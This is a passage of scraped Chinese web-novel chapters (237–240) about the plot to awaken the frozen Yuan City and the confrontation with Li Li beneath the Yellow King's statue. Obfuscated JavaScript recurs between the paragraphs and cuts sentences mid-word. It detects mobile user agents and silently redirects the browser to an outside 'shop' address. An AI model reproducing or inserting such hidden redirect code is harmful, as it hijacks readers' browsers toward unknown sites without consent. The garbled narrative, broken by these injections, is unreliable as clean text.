l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074233|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身上缠着层层绳索,躺在地上,一动不动。 闻人佐用自己的枪戳了戳对方,没有反应。用枪转过男人的身体,将对方的脸露了出来。 黑色凌乱的发丝下,是一张苍白的脸。 看到那张脸,闻人佐一愣,放下了枪,伸手要把人从地上拽起来。 “请小心,元帅!”士兵提醒。 闻人佐没有迟疑,他认得面前的人,那正是前一阵子突然消失的杜光欧。 此刻,男人几乎卡在了座椅的缝隙里,嘴上缠着一圈布条,嘴唇皲裂,几乎没什么血色。 闻人佐一手将他拽到座椅上,又把枪背回背后,招呼那士兵一并拆解杜光欧身上的绳索。 解开了封住嘴巴的布条,杜光欧悠悠转醒,一双灰眸渐渐有了光亮,视线落在大元帅的脸上,看了半天,那双眼睛才逐渐清明起来。他支吾了一声,像是认出了眼前的人是谁。 闻人佐惊讶未消,问他,“阁下怎么在这里?前一阵子我回元城的时候,没找到你,以为你离开了。你这是……” 大元帅上下打量了一番杜光欧,不解他为什么会被绑在这里。 对方张合嘴巴,缓了好一阵子,用沙哑的声音回答道:“是黎礼,把我……” 他咳嗽了几声,没能说下去。 闻人佐很少见到对方这幅一蹶不振的模样,记忆里,他总是战无不胜的,那日在角斗场准备室外杀出一条血路的场景还记忆犹新。可他现在怎么会沦落成这幅惨状? 两人在元城分别之后,杜光欧到底遭遇了什么? 是那个黎礼把他弄成了这副模样? 他们解开了杜光欧身上的绳子,然而,男人还是一动不动地躺着,像是那些束缚依然存在于他身上一般。 闻人佐看着,显然,对方的状态不是那么好,“能走吗?我记得北部有类似医所的建筑,我带你过去。” 杜光欧听闻,却是又摇了摇头,一字一顿说道:“黎礼,在这里。必须……先找到她。” 杜光欧翻了个身,像是想要从椅子上站起来似的,但是,他尝试了一次,却失败了,身体又重重地落了回去,似乎没有支撑自己的力量一般,身体一点也不听他的使唤。 见状,闻人佐不由分说把对方架起来,让他靠着自己借力。杜光欧呼出来的气息几乎都是冷的,不知是被丢在这里放了多久,男人双腿都有些虚浮,闻人佐能感受到他几乎把全身的重量都交了出来,这代表杜光欧可能真的虚弱到无法支撑自己。 杜光欧的声音急切,“我知道黎礼往什么方向去了……必须追上她。那个男人肯定和她在一起……” 闻人佐:“可你的状况……” 杜光欧:“我没事……只是有点冻僵了。” 对方这么说,闻人佐也不好再说什么。杜光欧已经三番五次说要去追黎礼,这种急迫闻人佐能够理解。那个女人和这个血皑王室之间有着弑亲的血海深仇,这样的仇恨足够让一个人忘记自身的伤痛,全心全意只想着如何报复。 闻人佐知道这个血皑王室一路从南陆走来,所为的就只有这一件事。 237. 一损俱损1 同样失去过亲人的他理解对方的心情,于是便不再劝阻什么。 闻人佐说道:“给我个方向。” 杜光欧指了指他们进来的门,有些虚弱地说道:“从那个门出去,往右走。他们是从这个方向离开的。” 闻人佐望过去,不禁疑惑地皱起了眉头。 一旁的士兵率先替他道出了疑惑,“右手边?那不是我们刚才来的方向吗……” 闻人佐也想不明白,那的确是他们赶来的方向,一路上,他们都没有看到什么人,虽然道路两旁的建筑颇多,但是,如果有移动的影子,他们理应能够捕捉一二才对。黎礼并不是一个人,她身边还跟着一众残党,按理来说,不可能一个人影都没有看到。 “他们的确是往那个方向去了。”杜光欧说道。 “会不会只是为了迷惑你?”闻人佐想了想,问道。 杜光欧摇了摇头,“我不觉得,他们应该不认为我能有机会逃出来。” 听到杜光欧这么说,一个一开始就有的疑惑攀上闻人佐的心头,他不禁开口问道:“他们把你绑起来,丢弃在这里,让你自生自灭,却又不直接了当杀了你,为什么?” 杜光欧沉默了片刻,他挂在闻人佐的肩上,身体似乎依然没有什么力气。血皑人的眼睛盯着离开大堂的木门,有些阴沉。闻人佐并不知道对方在想什么,只是觉得此刻的杜光欧思绪繁多。 “我不知道。”杜光欧说道,他思虑良久,却好像未能得到什么答案,“没有骗人,我真的不知道。” 大元帅思索了半晌,对门口站岗的士兵吩咐道:“去把消息传递给戍边将军,让他们在搜查的时候,务必仔细,不要放过任何一个角落。” “是。”士兵领命,消失在了门口。 而后,闻人佐架着杜光欧离开了这个宽敞的大堂。另一个士兵想帮忙,但被闻人佐拒绝,大元帅让他在后面跟着打掩护。 出了这个低矮的建筑,面前又是那些富丽堂皇的建筑群,每一个都有着不同的风格,仿佛出自不同的设计师之手,但是,此刻,它们却融洽地待在同一个溶洞里,和谐地存在于同一片大地之上。 路上,杜光欧说明了上次分别之后发生的一切。 他没有留在元城,是因为得到黎军向法陆贡进军的确切消息。法陆贡附近有个镇子,上里有对他很重要的人,所以他想赶回去救人。 后来,人是救了,但是刚好遇上了黎军,杜光欧被黎礼等人抓起来,带回了元城。 这便是事情的全部经过。 “黎礼他们似乎是要去圣殿做什么。”杜光欧说道,他的声音已经不再那么沙哑,能够连续说出完整的话,“那无疑是能从冰层之中唤醒元城的关键。” “事态很紧迫。”闻人佐说。 杜光欧的目光很阴沉,“……是啊,时间不多了,事态很紧迫。” 没想到事情还是发展到了这一步。闻人佐想道。原来的计划是将黎军阻截在横古山脉以南,但没料到他们行军如此之快,被麦哲也的军队击溃,又躲过了摄文的大军,现在已经身处元城之中。虽然不知黎礼将用怎样的手段唤醒元城,但她离成功怎么想都已经不远了。 而一旦这个笼罩在这城市上的冰层融化,那些沉眠的武器也都将苏醒。 直到现在为止,闻人佐也未曾将整个元城纳入眼中,他所见到的不过是冰山一角,想必还有更多文明、科技与武器掩埋于寒冰之下。 这是一个将醒的宠然大物,亟待主人的呼唤。 它将应召不分你我的索求,将灾难或希望平等地带给大地上的每一个生灵。 ## 元城溶洞,南部地下广场。 白熠在一颗坍塌的巨石上坐着。它看上去像是一个柱子的残骸,不知道是被洪水冲断了,还是倒在一场什么其他的纷争之中。 他面前不远处的广场上站着一个女人,那是黎礼,她在仰望着广场上一个巨大的造像。 那是黄王的造像,它砌进墙壁里,身体和溶洞连在一起,像是被吸入了进去一般。 而黎礼便盯着那个造像,一动不动,自从他们来到这里之后,女人便一直保持着这个姿势。 广场的外围,站着所剩无几的黎军,他们尽忠职守,保卫着首领的安危。 而白熠则坐在另一侧的石头上,有些百无聊赖地玩着自己的一缕头发。那是一缕花白的头发,没有一丝黑色的掺杂。他记得,从很小的时候,自己的头发就是这样的。 那是因为他儿时生的一场大病。父母为了救他,花光了家里所有财富,也几乎断送了所有的人脉。便是通过坚持不懈的救治,以及在药罐子里没日没夜地泡着,他活了下来,换来了一副脆弱的身躯、非人的惨白模样,以及同样淡泊的情感。 而这一切的始作俑者,就在离他不远的地方。 当年,是黎礼给杜光欧投毒,白熠不小心喝下了本属于杜光欧的那碗鹿肉汤,一切才会这样。 他有时候会想,这可能是一种命中注定。因为杜光欧拥有回溯力,他身边的灾祸有时会转移到别人的身上。而不巧,那天在那里的人就是白熠自己。 这一切已经太过久远,在成熟、长大的过程中,他已经渐渐淡忘了小时候毒发时那种撕心裂肺的疼,也觉得自己忘记了对黎礼的仇恨。 所以才会和她同流合污,不计前嫌。只因他有比自身的恩怨更重要的事情要做。 白熠抬眼,看了一眼黎礼的背影,而后,撇开了视线。 虽然那么说,但如果可以的话,他还是希望有人出现,打破现在的气氛。他最不喜欢做的事情之一,就是和这个女人两人待在同一个空间。即便他们有着相同的目的,也不代表他们能成为关系的很好的人。 黎礼给他的感觉很不好。这个女人……太过无情。 不过,在外人眼里,在无情的方面,他白熠绝不会差黎礼分毫。 自己会冒出那种想法,倒是搞笑。 这时候,黎礼的身型动了动,她转过身来,似乎结束了对那个雕像的凝望。她的目光看向这座广场的出入口,自言自语一般说道:“有人来了。” 白熠没有接话,只是朝相同的方向看过去。 他们身处元城的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090757|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地下,是比最底层更低矮的地方。这里的入口极其隐蔽,如果不是了解元城的人,根本不会知道它的存在。 下楼梯的声音响起,伴随着脚步声而来的,是三个人的身影。 白熠盯着那三个人,其中两个人他认识,是前不久和他们兵分两路,去寻找黎礼母亲的夏未信和擎天。 那么,他们身边那个苍老的女人,大概就是黎礼的母亲,黎涵挚了。 三个人上前来,与此同时,黎礼迎了过去,模样端重,姿态尊敬,她说道:“母亲。” 黎涵挚看着黎礼,往前走了一步,像是有些不敢相信一般,“你回来了……” “是的,我回来了,母亲。”黎礼说道,她搀扶过黎涵挚的手臂,将她往黄王造像的方向引领。 两人站在黄王的巨像前面,仰视着它,长情地凝望,像是与家庭的一份子相聚。 黎礼和黎涵挚站在一起,她们的背影看上去并不像是母女。这和黎涵挚的苍老有关系,也和黎礼相较于自身年龄过分年轻的容颜也有关系。 她们一同望向黄王的造像,黎礼颇为感慨地说道:“终于,这一天来了。数十年前,我在熔炉中醒来,便在期盼着这一刻。” 黎涵挚看着自己的女儿,问道:“你这些年在外面过得怎么样?” “很好,母亲。”黎礼回答她说,“我已经发展得足够壮大,能够让我们的城市在安枕无忧中醒来。” 黎涵挚张了张嘴,却像是有什么话没说出来一般。她只是默默看向黄王的造像,说道:“可惜,他已经不在了。” 黎礼道:“父亲的死是有意义的。如果不是他,我们每一个元城的子民,都将依然活在恐惧之中。” 黎礼拉着黎涵挚,似是想要将她领上前。可是黎涵挚的脚下一顿,却是停在了原地。老人看着黄王的造像,背影有些犹豫。 “怎么了,母亲。我们的时间急迫。”黎礼说。 “再陪我说说话吧,我……很久没跟人提起他的事情了。”黎涵挚说。 黎礼沉默了片刻,不知心里在想些什么。片刻,她轻轻地叹了一口气,耐心地问道:“你想说什么?” 两人找了个地方坐下,那是块大理石砌成的圆形平台,看上去是一个圣坛的一角。 黎涵挚摇了摇头,像是在回忆什么一般,说道,“大洪水之前,他决定离开元城,我那时和他一起走了,我们走了之后,洪水紧随而至,冲垮了我们的城市。 “是的,母亲,这些我们都知道。”黎礼说。 黎涵挚继而道:“我们沿着海边逃亡,海啸三番五次袭来,卷走我们的子民、物资和食粮,苦不堪言。我们在绝望之中跋涉,最终,抵达了一个大峡谷,在那里重新建立文明。那是名叫琉城的城市,我便是在那里和他分离。他说,他会建设一个繁华的内城,里面所有建筑都建到天上去,而他就在那最高的白塔里生活。” “父亲把自己当成是靶子,吸引着上方的视线。”黎礼说道,接上了黎涵挚的话,也接上了那个男人的故事,“他们的目标一直是他,始终是他。父亲也一直知道这件事。” 238. 一损俱损2 黎涵挚道:“他带领我们做到了太多不可能。投入的项目,钻研的方向,他驱动人民建造起来的文明,都像是受到了天喻一般……他创造出来了太多本不存在的东西。” “而父亲又是在那么年幼的时候做到了这些事。”黎礼说道,看向自己的母亲,像是在和家人一同回忆过往一般,“我记得,父亲的年纪比你还要小。” 说道这里,黎涵挚突然扬起一个笑容,像是回忆起了什么美好的事情,“他小时候喜欢掀女孩子的裙子,我作为上代领袖的长女,没少因为这种事教训他。可是某一天,只在一朝一夕之间,他变了。 “我还记得那天,他看着月亮,对我说,‘涵挚,你为什么总是打我’。我说,‘因为你总是欺负女孩子’。而他模样有些恍惚,对我说,‘如果这样的日子一去不复返,你会觉得可惜吗?’,我那时候不理解这是什么意思,说,‘那样的生活有什么值得可惜的’,而他的模样有些惆怅,说,‘我就觉得很好,起码,我们没什么烦心事’。 “而后,好像就是在那之后,他不再那么调皮,更不要说掀女孩的裙子。后来,过了几年,我就成为了他的妻子,而他也成为了元城的领袖。那一切,我到今天还不知道是怎么发生的。” 黎礼听完黎涵挚的叙述,说道:“或许,伟大的人一开始和每个人都一样,都拥有简单的、纯粹的灵魂。但是,他们的灵魂某一天会开悟,而后,就变得和我们不再一样了。” 年长的女人低下头去,说道:“我听说,他死在了一片森林里。你知道……他是怎么?” “我派人去调查过,也找来许多学者,去探求过那段历史——”黎礼说着,摇了摇头,“起初,他的确是在琉城的内城生活,在最醒目的白塔里吸引着某些东西的注意。” 黎礼抬起头来,看着自己父亲的雕像,模样有些怅然,说道:“但是,他失败了。陨石从天而降,砸毁了元城的外城。明明他在内城生活了那么久,哪里都是他的影子,但天灾却没有指向他,而是灭绝了他的子民与后代。” 听到这里,黎涵挚伸出双手,颤抖地叹息了一声,像是听到了什么不愿听到的消息一样。 黎礼见到母亲如此,宽慰一般,抚摸着她的后背。她口中继续说道:“那之后,父亲带着仅存的一部分人前往了血皑城。便是在之间的一座森林之中,他永远地闭上了眼睛。” 黎礼:“关于他如何倒在那片森林里,到现在,一直都有几种说法。一种是,因为他天赋异禀,是神派来世间的使者,所以,他的寿命很短,在那个时候寿终正寝了。还有一种说法是,他日夜为了元城的子民操劳,换做是一般人,早就因为劳累而死,但他一直坚持到了那片森林,才最终倒下。以及第三种说法,其实他健康得很,寿命也很长,只不过,他厌倦了这种被人盯上的日子,也厌倦了因为自己的存在而使子民被‘天灾’波及,所以,他在那片森林之中决定结束自己的生命,于是用一把短剑割开了自己的喉咙,血洒遍地,向上天证明自己已经死去,让这片土地免受更多天灾之苦。” 黎涵挚叹息了一声,声音中的颤抖更多了,她抬起头来,说道:“我们不能愧对他。他已经努力做了这么多,最后这件事,我们必须把它好好完成……” “是的,我们必须完成它。”黎礼说道,轻轻扳过黎涵挚的肩膀,看着自己的母亲,和她同病相怜一般,温情地注视着她,说道,“所以,母亲,让我们开始吧。” 黎涵挚点了点头,而后,两人起身,离开了暂坐的大理石平台,向黄王的造像走去。 另一边,在母女俩刚开始交流的时候,白熠便在聚精会神地盯着她们。 他已经不再拨弄自己的白发,全心全意听着两人的对话。 马上,一切就要开始了,母女俩的血将打开黄王圣像下的通道,而在那通道之后,就有唤醒元城的启动室。 一直以来等待的一刻就要到来。 在他坐在石头上思考的时候,另一边的夏未信走了过来,停在他旁边,向他极小声地问道:“什么时候行动?擎天已经做好准备了。” “他一个人能拦住所有士兵?”白熠小声回问。 “他能做到。”夏未信肯定道。 她说着,借身体的遮挡,递给了白熠一把枪和一排弹夹。那是一把口径和人眼球差不多大的长枪,其威力看上去能直接把脑袋一整个崩碎。 白熠接过那把枪,对夏未信说道:“等下她们打开了圣像下的门,你我两人就跟进去。然后再让擎天断后。” 夏未信转过头来,碎发晃动,显出她的犹豫,“……这很危险,你不用跟我一起行动。” 白熠一笑,“都到了这一步了,还有什么危险不危险的。我们每一步都是在钢丝上行走。” 夏未信盯着他,说道:“要做什么?我一个人就可以办到。” “不,我们还是……”说道一半,白熠突然想到了什么,他收回了视线,看着身边的女人。对方正在以一种不忍的目光看着他,而那眼中所流露出来的感情,他读得懂。 白熠收回了视线,从女人的脸上撤走,目光落在一块不起眼的褐色石砖上。犹豫半晌,他说道:“……西边的寒流正在迫近,我们没有任何选择的余地。夏女士,距离愿景实现,只差这最后一步了。” “非这么做?” “是的。” “非要把自己也投身危境之中?” “不这样的话怎么赢呢。” 夏未信低下头去,一时没有说话。这个凌厉的女人难得露出这种模样。 “夏女士……”白熠还想说些什么,却叫对方的动作打断了。 她伸出来一种手来,盖在白熠的手背上。一股温热的感觉从手背上传来,白熠看着那只白皙的手,但没有看手的主人。 过一半晌,女人轻声地问道:“……你知道我对你的心意吗?” 白熠没有抬眼,他短暂地回想起关于对方的过往。他们在琉城初识,在那个地方共事了一年,为了打造一个更好的城市而彼此帮助。那个时候,他便看懂了女人眼中的情愫,只是,他一直没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098242|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有戳穿。 戳穿了又能如何,他已有妻子,有孩子,而这些,夏未信都知道。但这样的认知并没有湮灭她的感情。 “我知道。”白熠说道,白发之下的面容有些冷峻,苍白的皮肤看上去略微不近人情,他没有看夏未信,说道,“我知道你的感情,而我一直在利用它。” “……”夏未信没有说话,也没有收回那只手。 白熠:“很多事情……你做的很多事,并非出自你的本意。是我有意引导——” “如果我也知道你在利用我呢?”夏未信低声打断了他,像是怕他再说出什么绝情的话,“但是,在你我二人目标相同的时候,我愿意被利用,仅此而已。” 白熠看着夏未信,直到此刻,才露出一个近乎有些怜悯的表情,“任何人知道自己被利用了,都应该生出相应的恨意。你应该恨我,夏未信。” “但我不。”夏未信道。 白熠垂下眼睛,说道:“我们的时间不多。为什么在这个时候说这些?” 夏未信说道:“因为,我总觉得,以后没有机会再说了。” “……”白熠沉默,无言。 但这气氛很快被打破了,黄王圣像的方向传来了一阵异响,白熠与夏未信同时转过头去。 圣像下,只见黎礼从自己的腿上拔出一把匕首,在自己的手上划了一刀,而后,又在黎涵挚的手掌上划一刀,血从两只手掌里流出来,她们走到圣像下,在一面并不起眼的石壁上,两人将手掌盖了上去。 白熠瞪着眼睛,眨也不眨,盯着即将发生的一切。 他首先听到了一阵仿佛来自地底的嗡鸣,那声音离他们越来越近,而后,黄王的圣像似乎在颤抖。白熠上挑眼珠,盯着那个石像,只见它在细微的颤动,似乎有细小的落石从它上面坠落下来。而后,突然,一道缝隙出现在了造像的脸上,他的脸被一分为二,向左右两个方向分离。 黄王的圣像裂成了两半,而在它左右开启的岩壁之间,陡然出现了一条暗道,尽头是一扇木门,它此刻紧闭着。 白熠站了起来,给了夏未信一个眼神,两人向那对母女的方向靠拢过去。 圣像前,黎礼盯着这条隧道,说道:“看来一切没有异常,机关照常启动了。” 年迈的母亲说道:“这机关需要两个黄王的血脉才能启动,当然,我也算作其中之一。若不是你还活着,这世界上根本找不到第二个能够和我一起启动这个机关的人了。” 黎礼收起了她在流血的手,缩进了袖子里,她说道:“这一切说不定都是父亲计划好的,他或许早就料到了元城的灭亡,也料到了有一天,这座城池会迎来苏醒的命运,所以没有将他所有的孩子都带去那最终毁灭的琉城。” 黎涵挚看着那尽头的木门,安静了片刻,对黎礼说道:“那扇门后面就是圣殿了。走上圣殿的台阶,就能抵达启动室。” “是的。” “启动室需要我的指纹才能解锁……”黎涵挚说着,头颅微坠,“那之后,我进去……唤醒元城。” 239. 一损俱损3 黎礼听闻,看向自己的母亲,她的眼睛里显露出一丝鲜少的柔情。突然,她张开怀抱,将她的母亲拥入怀中,“如果可以的话,我很想再多和你待上一阵子。” “我也想,我的孩子。”黎涵挚说道,她用自己完好的那只手,抚摸着黎礼的长发,“但是,我已经活了太久,也活够了,我应该去完成自己最后的使命。” “母亲……”黎礼像是不愿分别一般,呼唤着她。但是,她却很快松开了对方,即便眼中有诸多不忍,却还是说道,“一直以来,辛苦你了。” “别这么说。”黎涵挚瘪了瘪嘴,似乎如果再听多一些,她就会掉下泪来,“好了,走吧!” 她松开了女儿的手,头一转,毅然决然向木门的方向走去。 黎礼看着她,一时间,没有跟上母亲的步伐,像是在目送她一般。 而在这个时候,一把长刀搭在了她的脖颈上,银白的刀刃明晃晃映照着她的脸。 然而,黎礼不为所动,像是没有看见那刀刃一般,只是嘴中说道:“我还在想,你们到底什么时候会动手呢。” 她转过身来,像是似乎不害怕那长刀一样。看着自己身前的手持长刀的夏未信,扬起一个蔑视的笑容,“终于按捺不住了吗?” 阴暗的通道之中出现了另外两个身影,他们是夏未信和白熠,在刚才母女俩交谈的过程中,两人悄然摸了进来。 暗道外的广场上传来了一阵枪响,擎天留在了外面,抵御着外部发现异常的黎军。 暗道内,白发的男人对女人说道:“到此为止了。” 黎礼哼笑了一声,问白熠:“葛马和你们是一伙的?” 白熠说:“他不知道这件事。” 点灯人黎涵挚听到了动静,回过头来,看到这一幕,面容震惊,“你们在做什么?” 黎礼模样悠然,说道:“没关系,母亲,你继续往前走,不必回头。不过是一两个跳脚的小毛贼,我们的时间不多了,不用浪费在这两个人的身上。” 黎涵挚在犹豫,“可是……” “母亲。”黎礼说道,脸上的神色不悦,声音也冰冷,几乎用上了命令的语气,“你在流血,疲惫不堪,而你已经太老,随时可能死去。在你还活着的时候,去把机关打开。” 苍老的女人顿了顿,似乎是想说些什么,然而,她没有说出口,只是继续往木门的方向走去。 夏未信喊道:“不要再往前走了,母上!不然,我的刀会落下去!” 夏未信的话音落下,黎涵挚的脚步停下了,不解又有些愤怒地问道:“未信,你为什么——” 另一边,黎礼的模样不耐,提高了音量,说道:“我让你继续往前走,你只需要按照我说的做!” “可是她的刀架在你的脖子上呀。”黎涵挚音色颤抖地说道,模样有些激动,不由得往回走了两步。 “够了!真是闹剧。”黎礼脸上的余韵消失了,像是因为被打断了计划而感到不爽,“非要解决这几个人你才会继续?行吧。” 夏未信听闻,捏紧了手里的长刀,脸色阴鸷,“我劝你最好不要轻举妄动,我的刀只要一晃,你的人头就会落地。” “是吗,你是这么觉得的。”黎礼纹丝不动,说道。她看着夏未信,又瞥了一旁的白熠一眼,说道,“我的直觉果然没错,你们两个之间果然有点什么。一开始问你们在琉城那段日子发生了什么,你们俩却是模棱两可。到底是怎样的勾当,让你,夏未信,一个元城的子民,联合起外人,来一并对抗我?” 夏未信没说什么,是白熠回答了黎礼的问话,“倒也没什么勾当,我和夏女士只是这世间最为普通的朋友,像我们这样的友人关系,遍地都是。只不过,硬要说哪里不一样的话……我和夏女士一致认为,你不适合担当一个新时代领导者职责。起码,元城不能落在你的手上。” 黎礼嗤笑了一声,“不在我的手上,又能在谁的手上,谁有资格接手这座城市?除了作为黄王血脉的我以外,没有任何人有这个权力。” 夏未信手中一直握着那把刀,丝毫未动,“如果你一心只想唤醒元城,何不在最初醒来的时候那么做?如果那个时候你和母上一同唤醒了它,那么,你们的计划早就实现了。” “所以,像你们这种视野短浅的人,就是无法理解一些伟业。”黎礼说道,目光抬高,傲慢地盯着暗道的石壁。 外界又传来枪响,擎天还在广场上抵抗黎军,时不时能从暗道的入口看到他一闪而过的影子,男人在以一举之力对抗黎军剩下的精锐部队。 一连串枪声的巨响过后,白熠开口道:“黎夫人所谓的伟业又是什么?” 黎礼没说话,依然不以为意地盯着石壁,而黎涵挚就在不远紧张地观察着局势。 持刀的夏未信接上了白熠话,笃定地说道:“她所谓的伟业,可不止元城而已。她的野心遍布大地。没有在苏醒之后立刻唤醒元城,是因为她害怕,害怕在没有把握的情况下唤醒了这个巨兽,如果遭到了其他人的觊觎,被群起而攻之,则很有可能失去刚得来的宝座。” “这不是一个领导人正常的所思所想吗?”听到这里,黎礼张开双臂,仿佛自己是正义一般,“难不成,你要我眼睁睁看着好不容易苏醒的城池,在还没有彻底从旧伤复原时,在它最脆弱的时候,被这些无知之人的贪婪之心吞没?” “那你也不用毁灭那么多城池。”夏未信说,目光痛恨,“还杀死了无数无辜之人。” “那是他们咎由自取。”黎礼毫不在乎地说,“不用我说吧,在元城还没有醒来的当下,已经有多少把枪支流传出去了?这些从不在乎这片土地的人们,却是实打实的窃贼。” “……”夏未信迟疑了片刻,说道,“如果我们最初不是闭门造车,而是将这些技术与外界的人分享,让他们一并参与到共同的事业中来……” “你指望那些愚民能做些什么?”黎礼问道。 “但他们也活在这片大地上,有权利为他们所在的大地所抗争,有权利知道真相。”夏未信。 黎礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111595|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“那就怨他们自己没有想清楚,没有抬起头来,看看这片天,看看自己生活在如何的不自由的大地之上吧。” “人们如何愚钝,也不是你用暴力侵犯他们的理由。”此刻,白熠说道,“再愚笨的生命,也接受他们,作为一个完整的生命体,在这个世界上共同生活下去,并且能够让他们拥有人类的自尊,享受着生命的宁静——这就是人区别于其他物种的地方。” “这只是你的想法。”黎礼说道。 白熠突然道:“你总是自视甚高,黎礼。但若不是葛马给予你的权能,你也不过是一个你所讨厌的平凡人。” “……”黎礼的脸色阴沉。 白熠知道,自己戳到了她的痛处。黎礼在乎这件事,她在乎自己是第几个被葛马选中的人。 那个代表了他们所思所想、所见所念的男人,那个最初引领众人觉醒的人,黎礼在乎自己在他那里排行第几。但显然,葛马第一个找上门的人,不是她。 她或许只是葛马的一个无奈的尝试,因为实在没有什么人可以给予那项权能,葛马实在不知道应该找谁来帮助他拯救这个世界,所以,他开始漫无目的地交托出孑塑者的权能,而黎礼就是那其中的一个。 这件事,她从来不提起,也不愿让任何人提起。但这是葛马亲口说出的事实。 “你又如何,白熠?”黎礼说道,“你拒绝了他,拒绝了这项权能,你也只不过是一个自私自利、懦弱不堪的小人罢了。” 白熠一笑,“我们也相处了有一段日子了,黎礼,你有听到过我哪怕一次反驳过这种话吗?” 黎礼盯着他们,面色阴沉,女人不再言语,仿佛只是用眼神和他们对峙。 下一刻,一阵骚乱临近了暗道的入口。 转头望去,只见擎天被逼进了暗道,几个黎军突破了高大的男人的防线,向暗道涌入。 那些士兵都是在一场场战争之后存活下来的人中精锐,虽然黎礼没有冠给他们什么头衔,只是以“士兵”这样笼统的称呼叫他们,但是,所有人都知道,他们不单单是普通士兵那么简单。 “大人!”士兵呼唤着他们的领袖,“请您前进吧!!” “糟了!”夏未信惊呼道。 骚乱之中,黎礼的身形向后一退,离开了夏未信的刀。而夏未信被追上来的黎军包围了起来,没能及时拦住黎礼。 暗道太小,士兵们并未开枪,只以白刃作战,但是人头的优势却还是更胜一筹。夏未信抵抗着涌上来的敌军,同时还要照看着白熠的情况。白熠手里虽有一把口径极大的长枪,但在暗道里开火,还是太危险了。 “母上!”一片混乱之中,夏未信看着那两个离去的女人,在与敌人的僵持中叫道,“您一直是非分明,就连您也觉得,把元城交给黄礼是对的吗?您知道这些年她在外面做了些什么?杀害了多少无辜的人?烧毁了多少人们辛勤建立的房屋?如果元城是为了人们的福祉而存在的城市,又如何能够允许像她一样的人坐在黄王曾经待过的位置上!?” 240. 一损俱损4 黎涵挚听到了夏未信的话,但是,她的脚步只是一顿,依然,拖着她苍老的身躯、缓慢地,一步一步地往木门的方向走。 “母上!”夏未信不甘心一般,又叫了一声,可是更多的黎军士兵淹没了她,“黄王……是一个崇高的人,失去了他,是我们的遗憾!我崇拜他,如果今天是他站在这里,没有人会和他作对,我宁愿奉上自己的生命、自己的一切,也会去实现他的愿景……” 一时刀刃相交的锐响传来,夏未信离木门的方向更远了一些,“但是,这只是黄王,只有黄王而已。其他的任何人,包括他的女儿,我都必须用一双审视的眼睛去看待。而在我的眼中,黄礼根本不够格,她作为黄王的女儿,和她的父亲差得太远了,他们之间的差距,千年、万年都难以弥补……!” 黎涵挚走到了门口,回头看了一眼,眼神在昏暗的隧道中看不真切。 她只回望了一瞬间,便打开了那扇木门,与黎礼两人消失在了门后。 “母上!!”夏未信不甘地叫着,但是再没有回应传来了。 一时间,暗道中只有黎军的士兵和他们几人。 夏未信咒骂了一声,开始全力对抗身边的敌军。他们就好像源源不绝似的,不断从暗道的入口涌入。 白熠躲在夏未信的身后——这听起来挺丢人,但他也只能这么做,毕竟他连半个士兵都打不过——观察着入口的情况。 擎天之前明明拖住了黎军,可刚才为什么却被逼进暗道中了? 白熠在混乱之中思考着。 夏未信不至于不清楚所剩黎军的实力,她也理应知道自己身边这个高大武者的能力,即然刚才说擎天能够拦住那些士兵,理论上应该是能做到的。 但为什么失败了? 难道有什么变数吗? 白熠转头看了木门一眼。黎礼和黎涵挚已经进入了圣殿,在她们进入启动室之前,必须想办法拦住她们。实在不行就由他来—— 就在想这些的时候,突然,他被人拽了一下。 与此同时,一阵连绵的惨叫声在不远处响起。 后背一下子撞在石壁上,白熠缓了好一阵子,才逐渐看清了眼前的一切。 刚才是夏未信把他拽开了,似是帮他为了躲避什么。而在暗道之中,刚才还和夏未信奋力对抗的士兵全部都倒下了,身躯诡异地向一个方向倾倒,好像被巨大的车轮压过一般,血被挤出身体,淌了遍地。 “擎天!”夏未信朝暗道内部喊道,声音中尽是急切。 白熠往夏未信所呼叫的方向看去,顿时,他瞪大了眼。 擎天站在暗道的里侧,有些虚弱地靠在石壁上,他身穿一件单薄的黑色上衣,而那上面有一个巨大的凹陷,腹部像是受到了什么东西的猛击一般,几乎和背后贴在一起。 “小心……”巨人抬起手,指着暗道的入口,那是他片刻之前所在的地方。不过一瞬间而已,他就被一计重击打到了暗道的深处,而地上的那些士兵全都是因这一次冲击而倒地死亡。 顺着擎天的指尖,夏未信与白熠两人向暗道的入口看去。 那里有一个人,背着光,仿佛是个影子一般。身穿一袭紧身的黑色长衣,整张脸隐藏在阴影之下,整个人散发出一种黑色的不详气息。 